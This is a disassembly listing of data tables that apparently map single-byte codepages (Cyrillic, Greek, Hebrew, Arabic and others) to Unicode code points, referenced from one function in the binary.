		db    0	;  
		db  2Bh	; +
		db    1	;  
		db  11h	;  
		db    1	;  
		db  46h	; F
		db    1	;  
		db  4Dh	; M
		db    1	;  
		db  37h	; 7
		db    1	;  
		db 0F4h	; Т
		db    0	;  
		db 0F5h	; У
		db    0	;  
		db 0F6h	; Ж
		db    0	;  
		db 0F7h	; В
		db    0	;  
		db 0F8h	; Ь
		db    0	;  
		db  73h	; s
		db    1	;  
		db 0FAh	; З
		db    0	;  
		db 0FBh	; Ш
		db    0	;  
		db 0FCh	; Э
		db    0	;  
		db  69h	; i
		db    1	;  
		db  6Bh	; k
		db    1	;  
		db 0D9h	; ы
		db    2	;  
unk_41C700	db  80h	; ─		; DATA XREF: sub_40EBC4+B0o
		db    0	;  
		db  81h	; │
		db    0	;  
		db  82h	; ┌
		db    0	;  
		db  83h	; ┐
		db    0	;  
		db  84h	; └
		db    0	;  
		db  85h	; ┘
		db    0	;  
		db  86h	; ├
		db    0	;  
		db  87h	; ┤
		db    0	;  
		db  88h	; ┬
		db    0	;  
		db  89h	; ┴
		db    0	;  
		db  8Ah	; ┼
		db    0	;  
		db  8Bh	; ▀
		db    0	;  
		db  8Ch	; ▄
		db    0	;  
		db  8Dh	; █
		db    0	;  
		db  8Eh	; ▌
		db    0	;  
		db  8Fh	; ▐
		db    0	;  
		db  90h	; ░
		db    0	;  
		db  91h	; ▒
		db    0	;  
		db  92h	; ▓
		db    0	;  
		db  93h	; ⌠
		db    0	;  
		db  94h	; ■
		db    0	;  
		db  95h	; ∙
		db    0	;  
		db  96h	; √
		db    0	;  
		db  97h	; ≈
		db    0	;  
		db  98h	; ≤
		db    0	;  
		db  99h	; ≥
		db    0	;  
		db  9Ah	;  
		db    0	;  
		db  9Bh	; ⌡
		db    0	;  
		db  9Ch	; °
		db    0	;  
		db  9Dh	; ²
		db    0	;  
		db  9Eh	; ·
		db    0	;  
		db  9Fh	; ÷
		db    0	;  
		db 0A0h	; ═
		db    0	;  
		db    1	;  
		db    4	;  
		db    2	;  
		db    4	;  
		db    3	;  
		db    4	;  
		db    4	;  
		db    4	;  
		db    5	;  
		db    4	;  
		db    6	;  
		db    4	;  
		db    7	;  
		db    4	;  
		db    8	;  
		db    4	;  
		db    9	;  
		db    4	;  
		db  0Ah	;  
		db    4	;  
		db  0Bh	;  
		db    4	;  
		db  0Ch	;  
		db    4	;  
		db 0ADh	; ґ
		db    0	;  
		db  0Eh	;  
		db    4	;  
		db  0Fh	;  
		db    4	;  
		db  10h	;  
		db    4	;  
		db  11h	;  
		db    4	;  
		db  12h	;  
		db    4	;  
		db  13h	;  
		db    4	;  
		db  14h	;  
		db    4	;  
		db  15h	;  
		db    4	;  
		db  16h	;  
		db    4	;  
		db  17h	;  
		db    4	;  
		db  18h	;  
		db    4	;  
		db  19h	;  
		db    4	;  
		db  1Ah	;  
		db    4	;  
		db  1Bh	;  
		db    4	;  
		db  1Ch	;  
		db    4	;  
		db  1Dh	;  
		db    4	;  
		db  1Eh	;  
		db    4	;  
		db  1Fh	;  
		db    4	;  
		db  20h	;  
		db    4	;  
		db  21h	; !
		db    4	;  
		db  22h	; "
		db    4	;  
		db  23h	; #
		db    4	;  
		db  24h	; $
		db    4	;  
		db  25h	; %
		db    4	;  
		db  26h	; &
		db    4	;  
		db  27h	; '
		db    4	;  
		db  28h	; (
		db    4	;  
		db  29h	; )
		db    4	;  
		db  2Ah	; *
		db    4	;  
		db  2Bh	; +
		db    4	;  
		db  2Ch	; ,
		db    4	;  
		db  2Dh	; -
		db    4	;  
		db  2Eh	; .
		db    4	;  
		db  2Fh	; /
		db    4	;  
		db  30h	; 0
		db    4	;  
		db  31h	; 1
		db    4	;  
		db  32h	; 2
		db    4	;  
		db  33h	; 3
		db    4	;  
		db  34h	; 4
		db    4	;  
		db  35h	; 5
		db    4	;  
		db  36h	; 6
		db    4	;  
		db  37h	; 7
		db    4	;  
		db  38h	; 8
		db    4	;  
		db  39h	; 9
		db    4	;  
		db  3Ah	; :
		db    4	;  
		db  3Bh	; ;
		db    4	;  
		db  3Ch	; <
		db    4	;  
		db  3Dh	; =
		db    4	;  
		db  3Eh	; >
		db    4	;  
		db  3Fh	; ?
		db    4	;  
		db  40h	; @
		db    4	;  
		db  41h	; A
		db    4	;  
		db  42h	; B
		db    4	;  
		db  43h	; C
		db    4	;  
		db  44h	; D
		db    4	;  
		db  45h	; E
		db    4	;  
		db  46h	; F
		db    4	;  
		db  47h	; G
		db    4	;  
		db  48h	; H
		db    4	;  
		db  49h	; I
		db    4	;  
		db  4Ah	; J
		db    4	;  
		db  4Bh	; K
		db    4	;  
		db  4Ch	; L
		db    4	;  
		db  4Dh	; M
		db    4	;  
		db  4Eh	; N
		db    4	;  
		db  4Fh	; O
		db    4	;  
		db  16h	;  
		db  21h	; !
		db  51h	; Q
		db    4	;  
		db  52h	; R
		db    4	;  
		db  53h	; S
		db    4	;  
		db  54h	; T
		db    4	;  
		db  55h	; U
		db    4	;  
		db  56h	; V
		db    4	;  
		db  57h	; W
		db    4	;  
		db  58h	; X
		db    4	;  
		db  59h	; Y
		db    4	;  
		db  5Ah	; Z
		db    4	;  
		db  5Bh	; [
		db    4	;  
		db  5Ch	; \
		db    4	;  
		db 0A7h	; ї
		db    0	;  
		db  5Eh	; ^
		db    4	;  
		db  5Fh	; _
		db    4	;  
unk_41C800	db  80h	; ─		; DATA XREF: sub_40EBC4+C3o
		db    0	;  
		db  81h	; │
		db    0	;  
		db  82h	; ┌
		db    0	;  
		db  83h	; ┐
		db    0	;  
		db  84h	; └
		db    0	;  
		db  85h	; ┘
		db    0	;  
		db  86h	; ├
		db    0	;  
		db  87h	; ┤
		db    0	;  
		db  88h	; ┬
		db    0	;  
		db  89h	; ┴
		db    0	;  
		db  8Ah	; ┼
		db    0	;  
		db  8Bh	; ▀
		db    0	;  
		db  8Ch	; ▄
		db    0	;  
		db  8Dh	; █
		db    0	;  
		db  8Eh	; ▌
		db    0	;  
		db  8Fh	; ▐
		db    0	;  
		db  90h	; ░
		db    0	;  
		db  91h	; ▒
		db    0	;  
		db  92h	; ▓
		db    0	;  
		db  93h	; ⌠
		db    0	;  
		db  94h	; ■
		db    0	;  
		db  95h	; ∙
		db    0	;  
		db  96h	; √
		db    0	;  
		db  97h	; ≈
		db    0	;  
		db  98h	; ≤
		db    0	;  
		db  99h	; ≥
		db    0	;  
		db  9Ah	;  
		db    0	;  
		db  9Bh	; ⌡
		db    0	;  
		db  9Ch	; °
		db    0	;  
		db  9Dh	; ²
		db    0	;  
		db  9Eh	; ·
		db    0	;  
		db  9Fh	; ÷
		db    0	;  
		db 0A0h	; ═
		db    0	;  
		db 0FDh	; Щ
		db 0FFh	;  
		db 0FDh	; Щ
		db 0FFh	;  
		db 0FDh	; Щ
		db 0FFh	;  
		db 0A4h	; є
		db    0	;  
		db 0FDh	; Щ
		db 0FFh	;  
		db 0FDh	; Щ
		db 0FFh	;  
		db 0FDh	; Щ
		db 0FFh	;  
		db 0FDh	; Щ
		db 0FFh	;  
		db 0FDh	; Щ
		db 0FFh	;  
		db 0FDh	; Щ
		db 0FFh	;  
		db 0FDh	; Щ
		db 0FFh	;  
		db  0Ch	;  
		db    6	;  
		db 0ADh	; ґ
		db    0	;  
		db 0FDh	; Щ
		db 0FFh	;  
		db 0FDh	; Щ
		db 0FFh	;  
		db 0FDh	; Щ
		db 0FFh	;  
		db 0FDh	; Щ
		db 0FFh	;  
		db 0FDh	; Щ
		db 0FFh	;  
		db 0FDh	; Щ
		db 0FFh	;  
		db 0FDh	; Щ
		db 0FFh	;  
		db 0FDh	; Щ
		db 0FFh	;  
		db 0FDh	; Щ
		db 0FFh	;  
		db 0FDh	; Щ
		db 0FFh	;  
		db 0FDh	; Щ
		db 0FFh	;  
		db 0FDh	; Щ
		db 0FFh	;  
		db 0FDh	; Щ
		db 0FFh	;  
		db  1Bh	;  
		db    6	;  
		db 0FDh	; Щ
		db 0FFh	;  
		db 0FDh	; Щ
		db 0FFh	;  
		db 0FDh	; Щ
		db 0FFh	;  
		db  1Fh	;  
		db    6	;  
		db 0FDh	; Щ
		db 0FFh	;  
		db  21h	; !
		db    6	;  
		db  22h	; "
		db    6	;  
		db  23h	; #
		db    6	;  
		db  24h	; $
		db    6	;  
		db  25h	; %
		db    6	;  
		db  26h	; &
		db    6	;  
		db  27h	; '
		db    6	;  
		db  28h	; (
		db    6	;  
		db  29h	; )
		db    6	;  
		db  2Ah	; *
		db    6	;  
		db  2Bh	; +
		db    6	;  
		db  2Ch	; ,
		db    6	;  
		db  2Dh	; -
		db    6	;  
		db  2Eh	; .
		db    6	;  
		db  2Fh	; /
		db    6	;  
		db  30h	; 0
		db    6	;  
		db  31h	; 1
		db    6	;  
		db  32h	; 2
		db    6	;  
		db  33h	; 3
		db    6	;  
		db  34h	; 4
		db    6	;  
		db  35h	; 5
		db    6	;  
		db  36h	; 6
		db    6	;  
		db  37h	; 7
		db    6	;  
		db  38h	; 8
		db    6	;  
		db  39h	; 9
		db    6	;  
		db  3Ah	; :
		db    6	;  
		db 0FDh	; Щ
		db 0FFh	;  
		db 0FDh	; Щ
		db 0FFh	;  
		db 0FDh	; Щ
		db 0FFh	;  
		db 0FDh	; Щ
		db 0FFh	;  
		db 0FDh	; Щ
		db 0FFh	;  
		db  40h	; @
		db    6	;  
		db  41h	; A
		db    6	;  
		db  42h	; B
		db    6	;  
		db  43h	; C
		db    6	;  
		db  44h	; D
		db    6	;  
		db  45h	; E
		db    6	;  
		db  46h	; F
		db    6	;  
		db  47h	; G
		db    6	;  
		db  48h	; H
		db    6	;  
		db  49h	; I
		db    6	;  
		db  4Ah	; J
		db    6	;  
		db  4Bh	; K
		db    6	;  
		db  4Ch	; L
		db    6	;  
		db  4Dh	; M
		db    6	;  
		db  4Eh	; N
		db    6	;  
		db  4Fh	; O
		db    6	;  
		db  50h	; P
		db    6	;  
		db  51h	; Q
		db    6	;  
		db  52h	; R
		db    6	;  
		db 0FDh	; Щ
		db 0FFh	;  
		db 0FDh	; Щ
		db 0FFh	;  
		db 0FDh	; Щ
		db 0FFh	;  
		db 0FDh	; Щ
		db 0FFh	;  
		db 0FDh	; Щ
		db 0FFh	;  
		db 0FDh	; Щ
		db 0FFh	;  
		db 0FDh	; Щ
		db 0FFh	;  
		db 0FDh	; Щ
		db 0FFh	;  
		db 0FDh	; Щ
		db 0FFh	;  
		db 0FDh	; Щ
		db 0FFh	;  
		db 0FDh	; Щ
		db 0FFh	;  
		db 0FDh	; Щ
		db 0FFh	;  
		db 0FDh	; Щ
		db 0FFh	;  
unk_41C900	db  80h	; ─		; DATA XREF: sub_40EBC4+D6o
		db    0	;  
		db  81h	; │
		db    0	;  
		db  82h	; ┌
		db    0	;  
		db  83h	; ┐
		db    0	;  
		db  84h	; └
		db    0	;  
		db  85h	; ┘
		db    0	;  
		db  86h	; ├
		db    0	;  
		db  87h	; ┤
		db    0	;  
		db  88h	; ┬
		db    0	;  
		db  89h	; ┴
		db    0	;  
		db  8Ah	; ┼
		db    0	;  
		db  8Bh	; ▀
		db    0	;  
		db  8Ch	; ▄
		db    0	;  
		db  8Dh	; █
		db    0	;  
		db  8Eh	; ▌
		db    0	;  
		db  8Fh	; ▐
		db    0	;  
		db  90h	; ░
		db    0	;  
		db  91h	; ▒
		db    0	;  
		db  92h	; ▓
		db    0	;  
		db  93h	; ⌠
		db    0	;  
		db  94h	; ■
		db    0	;  
		db  95h	; ∙
		db    0	;  
		db  96h	; √
		db    0	;  
		db  97h	; ≈
		db    0	;  
		db  98h	; ≤
		db    0	;  
		db  99h	; ≥
		db    0	;  
		db  9Ah	;  
		db    0	;  
		db  9Bh	; ⌡
		db    0	;  
		db  9Ch	; °
		db    0	;  
		db  9Dh	; ²
		db    0	;  
		db  9Eh	; ·
		db    0	;  
		db  9Fh	; ÷
		db    0	;  
		db 0A0h	; ═
		db    0	;  
		db  18h	;  
		db  20h	;  
		db  19h	;  
		db  20h	;  
		db 0A3h	; ё
		db    0	;  
		db 0FDh	; Щ
		db 0FFh	;  
		db 0FDh	; Щ
		db 0FFh	;  
		db 0A6h	; і
		db    0	;  
		db 0A7h	; ї
		db    0	;  
		db 0A8h	; ╗
		db    0	;  
		db 0A9h	; ╘
		db    0	;  
		db 0FDh	; Щ
		db 0FFh	;  
		db 0ABh	; ╚
		db    0	;  
		db 0ACh	; ╛
		db    0	;  
		db 0ADh	; ґ
		db    0	;  
		db 0FDh	; Щ
		db 0FFh	;  
		db  15h	;  
		db  20h	;  
		db 0B0h	; ╟
		db    0	;  
		db 0B1h	; ╠
		db    0	;  
		db 0B2h	; ╡
		db    0	;  
		db 0B3h	; Ё
		db    0	;  
		db  84h	; └
		db    3	;  
		db  85h	; ┘
		db    3	;  
		db  86h	; ├
		db    3	;  
		db 0B7h	; Ї
		db    0	;  
		db  88h	; ┬
		db    3	;  
		db  89h	; ┴
		db    3	;  
		db  8Ah	; ┼
		db    3	;  
		db 0BBh	; ╩
		db    0	;  
		db  8Ch	; ▄
		db    3	;  
		db 0BDh	; Ґ
		db    0	;  
		db  8Eh	; ▌
		db    3	;  
		db  8Fh	; ▐
		db    3	;  
		db  90h	; ░
		db    3	;  
		db  91h	; ▒
		db    3	;  
		db  92h	; ▓
		db    3	;  
		db  93h	; ⌠
		db    3	;  
		db  94h	; ■
		db    3	;  
		db  95h	; ∙
		db    3	;  
		db  96h	; √
		db    3	;  
		db  97h	; ≈
		db    3	;  
		db  98h	; ≤
		db    3	;  
		db  99h	; ≥
		db    3	;  
		db  9Ah	;  
		db    3	;  
		db  9Bh	; ⌡
		db    3	;  
		db  9Ch	; °
		db    3	;  
		db  9Dh	; ²
		db    3	;  
		db  9Eh	; ·
		db    3	;  
		db  9Fh	; ÷
		db    3	;  
		db 0A0h	; ═
		db    3	;  
		db 0A1h	; ║
		db    3	;  
		db 0FDh	; Щ
		db 0FFh	;  
		db 0A3h	; ё
		db    3	;  
		db 0A4h	; є
		db    3	;  
		db 0A5h	; ╔
		db    3	;  
		db 0A6h	; і
		db    3	;  
		db 0A7h	; ї
		db    3	;  
		db 0A8h	; ╗
		db    3	;  
		db 0A9h	; ╘
		db    3	;  
		db 0AAh	; ╙
		db    3	;  
		db 0ABh	; ╚
		db    3	;  
		db 0ACh	; ╛
		db    3	;  
		db 0ADh	; ґ
		db    3	;  
		db 0AEh	; ў
		db    3	;  
		db 0AFh	; ╞
		db    3	;  
		db 0B0h	; ╟
		db    3	;  
		db 0B1h	; ╠
		db    3	;  
		db 0B2h	; ╡
		db    3	;  
		db 0B3h	; Ё
		db    3	;  
		db 0B4h	; Є
		db    3	;  
		db 0B5h	; ╣
		db    3	;  
		db 0B6h	; І
		db    3	;  
		db 0B7h	; Ї
		db    3	;  
		db 0B8h	; ╦
		db    3	;  
		db 0B9h	; ╧
		db    3	;  
		db 0BAh	; ╨
		db    3	;  
		db 0BBh	; ╩
		db    3	;  
		db 0BCh	; ╪
		db    3	;  
		db 0BDh	; Ґ
		db    3	;  
		db 0BEh	; Ў
		db    3	;  
		db 0BFh	; ©
		db    3	;  
		db 0C0h	; ю
		db    3	;  
		db 0C1h	; а
		db    3	;  
		db 0C2h	; б
		db    3	;  
		db 0C3h	; ц
		db    3	;  
		db 0C4h	; д
		db    3	;  
		db 0C5h	; е
		db    3	;  
		db 0C6h	; ф
		db    3	;  
		db 0C7h	; г
		db    3	;  
		db 0C8h	; х
		db    3	;  
		db 0C9h	; и
		db    3	;  
		db 0CAh	; й
		db    3	;  
		db 0CBh	; к
		db    3	;  
		db 0CCh	; л
		db    3	;  
		db 0CDh	; м
		db    3	;  
		db 0CEh	; н
		db    3	;  
		db 0FDh	; Щ
		db 0FFh	;  
unk_41CA00	db  80h	; ─		; DATA XREF: sub_40EBC4+E9o
		db    0	;  
		db  81h	; │
		db    0	;  
		db  82h	; ┌
		db    0	;  
		db  83h	; ┐
		db    0	;  
		db  84h	; └
		db    0	;  
		db  85h	; ┘
		db    0	;  
		db  86h	; ├
		db    0	;  
		db  87h	; ┤
		db    0	;  
		db  88h	; ┬
		db    0	;  
		db  89h	; ┴
		db    0	;  
		db  8Ah	; ┼
		db    0	;  
		db  8Bh	; ▀
		db    0	;  
		db  8Ch	; ▄
		db    0	;  
		db  8Dh	; █
		db    0	;  
		db  8Eh	; ▌
		db    0	;  
		db  8Fh	; ▐
		db    0	;  
		db  90h	; ░
		db    0	;  
		db  91h	; ▒
		db    0	;  
		db  92h	; ▓
		db    0	;  
		db  93h	; ⌠
		db    0	;  
		db  94h	; ■
		db    0	;  
		db  95h	; ∙
		db    0	;  
		db  96h	; √
		db    0	;  
		db  97h	; ≈
		db    0	;  
		db  98h	; ≤
		db    0	;  
		db  99h	; ≥
		db    0	;  
		db  9Ah	;  
		db    0	;  
		db  9Bh	; ⌡
		db    0	;  
		db  9Ch	; °
		db    0	;  
		db  9Dh	; ²
		db    0	;  
		db  9Eh	; ·
		db    0	;  
		db  9Fh	; ÷
		db    0	;  
		db 0A0h	; ═
		db    0	;  
		db 0FDh	; Щ
		db 0FFh	;  
		db 0A2h	; ╒
		db    0	;  
		db 0A3h	; ё
		db    0	;  
		db 0A4h	; є
		db    0	;  
		db 0A5h	; ╔
		db    0	;  
		db 0A6h	; і
		db    0	;  
		db 0A7h	; ї
		db    0	;  
		db 0A8h	; ╗
		db    0	;  
		db 0A9h	; ╘
		db    0	;  
		db 0D7h	; в
		db    0	;  
		db 0ABh	; ╚
		db    0	;  
		db 0ACh	; ╛
		db    0	;  
		db 0ADh	; ґ
		db    0	;  
		db 0AEh	; ў
		db    0	;  
		db 0AFh	; ╞
		db    0	;  
		db 0B0h	; ╟
		db    0	;  
		db 0B1h	; ╠
		db    0	;  
		db 0B2h	; ╡
		db    0	;  
		db 0B3h	; Ё
		db    0	;  
		db 0B4h	; Є
		db    0	;  
		db 0B5h	; ╣
		db    0	;  
		db 0B6h	; І
		db    0	;  
		db 0B7h	; Ї
		db    0	;  
		db 0B8h	; ╦
		db    0	;  
		db 0B9h	; ╧
		db    0	;  
		db 0F7h	; В
		db    0	;  
		db 0BBh	; ╩
		db    0	;  
		db 0BCh	; ╪
		db    0	;  
		db 0BDh	; Ґ
		db    0	;  
		db 0BEh	; Ў
		db    0	;  
		db 0FDh	; Щ
		db 0FFh	;  
		db 0FDh	; Щ
		db 0FFh	;  
		db 0FDh	; Щ
		db 0FFh	;  
		db 0FDh	; Щ
		db 0FFh	;  
		db 0FDh	; Щ
		db 0FFh	;  
		db 0FDh	; Щ
		db 0FFh	;  
		db 0FDh	; Щ
		db 0FFh	;  
		db 0FDh	; Щ
		db 0FFh	;  
		db 0FDh	; Щ
		db 0FFh	;  
		db 0FDh	; Щ
		db 0FFh	;  
		db 0FDh	; Щ
		db 0FFh	;  
		db 0FDh	; Щ
		db 0FFh	;  
		db 0FDh	; Щ
		db 0FFh	;  
		db 0FDh	; Щ
		db 0FFh	;  
		db 0FDh	; Щ
		db 0FFh	;  
		db 0FDh	; Щ
		db 0FFh	;  
		db 0FDh	; Щ
		db 0FFh	;  
		db 0FDh	; Щ
		db 0FFh	;  
		db 0FDh	; Щ
		db 0FFh	;  
		db 0FDh	; Щ
		db 0FFh	;  
		db 0FDh	; Щ
		db 0FFh	;  
		db 0FDh	; Щ
		db 0FFh	;  
		db 0FDh	; Щ
		db 0FFh	;  
		db 0FDh	; Щ
		db 0FFh	;  
		db 0FDh	; Щ
		db 0FFh	;  
		db 0FDh	; Щ
		db 0FFh	;  
		db 0FDh	; Щ
		db 0FFh	;  
		db 0FDh	; Щ
		db 0FFh	;  
		db 0FDh	; Щ
		db 0FFh	;  
		db 0FDh	; Щ
		db 0FFh	;  
		db 0FDh	; Щ
		db 0FFh	;  
		db 0FDh	; Щ
		db 0FFh	;  
		db  17h	;  
		db  20h	;  
		db 0D0h	; п
		db    5	;  
		db 0D1h	; я
		db    5	;  
		db 0D2h	; р
		db    5	;  
		db 0D3h	; с
		db    5	;  
		db 0D4h	; т
		db    5	;  
		db 0D5h	; у
		db    5	;  
		db 0D6h	; ж
		db    5	;  
		db 0D7h	; в
		db    5	;  
		db 0D8h	; ь
		db    5	;  
		db 0D9h	; ы
		db    5	;  
		db 0DAh	; з
		db    5	;  
		db 0DBh	; ш
		db    5	;  
		db 0DCh	; э
		db    5	;  
		db 0DDh	; щ
		db    5	;  
		db 0DEh	; ч
		db    5	;  
		db 0DFh	; ъ
		db    5	;  
		db 0E0h	; Ю
		db    5	;  
		db 0E1h	; А
		db    5	;  
		db 0E2h	; Б
		db    5	;  
		db 0E3h	; Ц
		db    5	;  
		db 0E4h	; Д
		db    5	;  
		db 0E5h	; Е
		db    5	;  
		db 0E6h	; Ф
		db    5	;  
		db 0E7h	; Г
		db    5	;  
		db 0E8h	; Х
		db    5	;  
		db 0E9h	; И
		db    5	;  
		db 0EAh	; Й
		db    5	;  
		db 0FDh	; Щ
		db 0FFh	;  
		db 0FDh	; Щ
		db 0FFh	;  
		db  0Eh	;  
		db  20h	;  
		db  0Fh	;  
		db  20h	;  
		db 0FDh	; Щ
		db 0FFh	;  
unk_41CB00	db  80h	; ─		; DATA XREF: sub_40EBC4+FCo
		db    0	;  
		db  81h	; │
		db    0	;  
		db  82h	; ┌
		db    0	;  
		db  83h	; ┐
		db    0	;  
		db  84h	; └
		db    0	;  
		db  85h	; ┘
		db    0	;  
		db  86h	; ├
		db    0	;  
		db  87h	; ┤
		db    0	;  
		db  88h	; ┬
		db    0	;  
		db  89h	; ┴
		db    0	;  
		db  8Ah	; ┼
		db    0	;  
		db  8Bh	; ▀
		db    0	;  
		db  8Ch	; ▄
		db    0	;  
		db  8Dh	; █
		db    0	;  
		db  8Eh	; ▌
		db    0	;  
		db  8Fh	; ▐
		db    0	;  
		db  90h	; ░
		db    0	;  
		db  91h	; ▒
		db    0	;  
		db  92h	; ▓
		db    0	;  
		db  93h	; ⌠
		db    0	;  
		db  94h	; ■
		db    0	;  
		db  95h	; ∙
		db    0	;  
		db  96h	; √
		db    0	;  
		db  97h	; ≈
		db    0	;  
		db  98h	; ≤
		db    0	;  
		db  99h	; ≥
		db    0	;  
		db  9Ah	;  
		db    0	;  
		db  9Bh	; ⌡
		db    0	;  
		db  9Ch	; °
		db    0	;  
		db  9Dh	; ²
		db    0	;  
		db  9Eh	; ·
		db    0	;  
		db  9Fh	; ÷
		db    0	;  
		db 0A0h	; ═
		db    0	;  
		db    4	;  
		db    1	;  
		db 0D8h	; ь
		db    2	;  
		db  41h	; A
		db    1	;  
		db 0A4h	; є
		db    0	;  
		db  3Dh	; =
		db    1	;  
		db  5Ah	; Z
		db    1	;  
		db 0A7h	; ї
		db    0	;  
		db 0A8h	; ╗
		db    0	;  
		db  60h	; `
		db    1	;  
		db  5Eh	; ^
		db    1	;  
		db  64h	; d
		db    1	;  
		db  79h	; y
		db    1	;  
		db 0ADh	; ґ
		db    0	;  
		db  7Dh	; }
		db    1	;  
		db  7Bh	; {
		db    1	;  
		db 0B0h	; ╟
		db    0	;  
		db    5	;  
		db    1	;  
		db 0DBh	; ш
		db    2	;  
		db  42h	; B
		db    1	;  
		db 0B4h	; Є
		db    0	;  
		db  3Eh	; >
		db    1	;  
		db  5Bh	; [
		db    1	;  
		db 0C7h	; г
		db    2	;  
		db 0B8h	; ╦
		db    0	;  
		db  61h	; a
		db    1	;  
		db  5Fh	; _
		db    1	;  
		db  65h	; e
		db    1	;  
		db  7Ah	; z
		db    1	;  
		db 0DDh	; щ
		db    2	;  
		db  7Eh	; ~
		db    1	;  
		db  7Ch	; |
		db    1	;  
		db  54h	; T
		db    1	;  
		db 0C1h	; а
		db    0	;  
		db 0C2h	; б
		db    0	;  
		db    2	;  
		db    1	;  
		db 0C4h	; д
		db    0	;  
		db  39h	; 9
		db    1	;  
		db    6	;  
		db    1	;  
		db 0C7h	; г
		db    0	;  
		db  0Ch	;  
		db    1	;  
		db 0C9h	; и
		db    0	;  
		db  18h	;  
		db    1	;  
		db 0CBh	; к
		db    0	;  
		db  1Ah	;  
		db    1	;  
		db 0CDh	; м
		db    0	;  
		db 0CEh	; н
		db    0	;  
		db  0Eh	;  
		db    1	;  
		db  1Eh	;  
		db    1	;  
		db 0D1h	; я
		db    0	;  
		db 0D2h	; р
		db    0	;  
		db 0D3h	; с
		db    0	;  
		db 0D4h	; т
		db    0	;  
		db 0D5h	; у
		db    0	;  
		db 0D6h	; ж
		db    0	;  
		db 0D7h	; в
		db    0	;  
		db 0D8h	; ь
		db    0	;  
		db 0D9h	; ы
		db    0	;  
		db 0DAh	; з
		db    0	;  
		db 0DBh	; ш
		db    0	;  
		db 0DCh	; э
		db    0	;  
		db  30h	; 0
		db    1	;  
		db  5Eh	; ^
		db    1	;  
		db 0DFh	; ъ
		db    0	;  
		db 0E0h	; Ю
		db    0	;  
		db 0E1h	; А
		db    0	;  
		db 0E2h	; Б
		db    0	;  
		db 0E3h	; Ц
		db    0	;  
		db 0E4h	; Д
		db    0	;  
		db 0E5h	; Е
		db    0	;  
		db 0E6h	; Ф
		db    0	;  
		db 0E7h	; Г
		db    0	;  
		db 0E8h	; Х
		db    0	;  
		db 0E9h	; И
		db    0	;  
		db 0EAh	; Й
		db    0	;  
		db 0EBh	; К
		db    0	;  
		db 0ECh	; Л
		db    0	;  
		db 0EDh	; М
		db    0	;  
		db 0EEh	; Н
		db    0	;  
		db 0EFh	; О
		db    0	;  
		db  1Fh	;  
		db    1	;  
		db 0F1h	; Я
		db    0	;  
		db 0F2h	; Р
		db    0	;  
		db 0F3h	; С
		db    0	;  
		db 0F4h	; Т
		db    0	;  
		db 0F5h	; У
		db    0	;  
		db 0F6h	; Ж
		db    0	;  
		db 0F7h	; В
		db    0	;  
		db 0F8h	; Ь
		db    0	;  
		db 0F9h	; Ы
		db    0	;  
		db 0FAh	; З
		db    0	;  
		db 0FBh	; Ш
		db    0	;  
		db 0FCh	; Э
		db    0	;  
		db  31h	; 1
		db    1	;  
		db  5Fh	; _
		db    1	;  
		db 0FFh	;  
		db    0	;  
unk_41CC00	db  80h	; ─		; DATA XREF: sub_40EBC4+10Fo
		db    0	;  
		db  81h	; │
		db    0	;  
		db  82h	; ┌
		db    0	;  
		db  83h	; ┐
		db    0	;  
		db  84h	; └
		db    0	;  
		db  85h	; ┘
		db    0	;  
		db  86h	; ├
		db    0	;  
		db  87h	; ┤
		db    0	;  
		db  88h	; ┬
		db    0	;  
		db  89h	; ┴
		db    0	;  
		db  8Ah	; ┼
		db    0	;  
		db  8Bh	; ▀
		db    0	;  
		db  8Ch	; ▄
		db    0	;  
		db  8Dh	; █
		db    0	;  
		db  8Eh	; ▌
		db    0	;  
		db  8Fh	; ▐
		db    0	;  
		db  90h	; ░
		db    0	;  
		db  91h	; ▒
		db    0	;  
		db  92h	; ▓
		db    0	;  
		db  93h	; ⌠
		db    0	;  
		db  94h	; ■
		db    0	;  
		db  95h	; ∙
		db    0	;  
		db  96h	; √
		db    0	;  
		db  97h	; ≈
		db    0	;  
		db  98h	; ≤
		db    0	;  
		db  99h	; ≥
		db    0	;  
		db  9Ah	;  
		db    0	;  
		db  9Bh	; ⌡
		db    0	;  
		db  9Ch	; °
		db    0	;  
		db  9Dh	; ²
		db    0	;  
		db  9Eh	; ·
		db    0	;  
		db  9Fh	; ÷
		db    0	;  
		db 0A0h	; ═
		db    0	;  
		db    4	;  
		db    1	;  
		db  12h	;  
		db    1	;  
		db  22h	; "
		db    1	;  
		db  2Ah	; *
		db    1	;  
		db  28h	; (
		db    1	;  
		db  36h	; 6
		db    1	;  
		db 0A7h	; ї
		db    0	;  
		db  3Bh	; ;
		db    1	;  
		db  10h	;  
		db    1	;  
		db  60h	; `
		db    1	;  
		db  66h	; f
		db    1	;  
		db  7Dh	; }
		db    1	;  
		db 0ADh	; ґ
		db    0	;  
		db  6Ah	; j
		db    1	;  
		db  4Ah	; J
		db    1	;  
		db 0B0h	; ╟
		db    0	;  
		db    5	;  
		db    1	;  
		db  13h	;  
		db    1	;  
		db  23h	; #
		db    1	;  
		db  2Bh	; +
		db    1	;  
		db  29h	; )
		db    1	;  
		db  37h	; 7
		db    1	;  
		db 0B7h	; Ї
		db    0	;  
		db  3Ch	; <
		db    1	;  
		db  11h	;  
		db    1	;  
		db  61h	; a
		db    1	;  
		db  67h	; g
		db    1	;  
		db  7Eh	; ~
		db    1	;  
		db  15h	;  
		db  20h	;  
		db  6Bh	; k
		db    1	;  
		db  4Bh	; K
		db    1	;  
		db    0	;  
		db    1	;  
		db 0C1h	; а
		db    0	;  
		db 0C2h	; б
		db    0	;  
		db 0C3h	; ц
		db    0	;  
		db 0C4h	; д
		db    0	;  
		db 0C5h	; е
		db    0	;  
		db 0C6h	; ф
		db    0	;  
		db  2Eh	; .
		db    1	;  
		db  0Ch	;  
		db    1	;  
		db 0C9h	; и
		db    0	;  
		db  18h	;  
		db    1	;  
		db 0CBh	; к
		db    0	;  
		db  16h	;  
		db    1	;  
		db 0CDh	; м
		db    0	;  
		db 0CEh	; н
		db    0	;  
		db 0CFh	; о
		db    0	;  
		db 0D0h	; п
		db    0	;  
		db  45h	; E
		db    1	;  
		db  4Ch	; L
		db    1	;  
		db 0D3h	; с
		db    0	;  
		db 0D4h	; т
		db    0	;  
		db 0D5h	; у
		db    0	;  
		db 0D6h	; ж
		db    0	;  
		db  68h	; h
		db    1	;  
		db 0D8h	; ь
		db    0	;  
		db  72h	; r
		db    1	;  
		db 0DAh	; з
		db    0	;  
		db 0DBh	; ш
		db    0	;  
		db 0DCh	; э
		db    0	;  
		db 0DDh	; щ
		db    0	;  
		db 0DEh	; ч
		db    0	;  
		db 0DFh	; ъ
		db    0	;  
		db    1	;  
		db    1	;  
		db 0E1h	; А
		db    0	;  
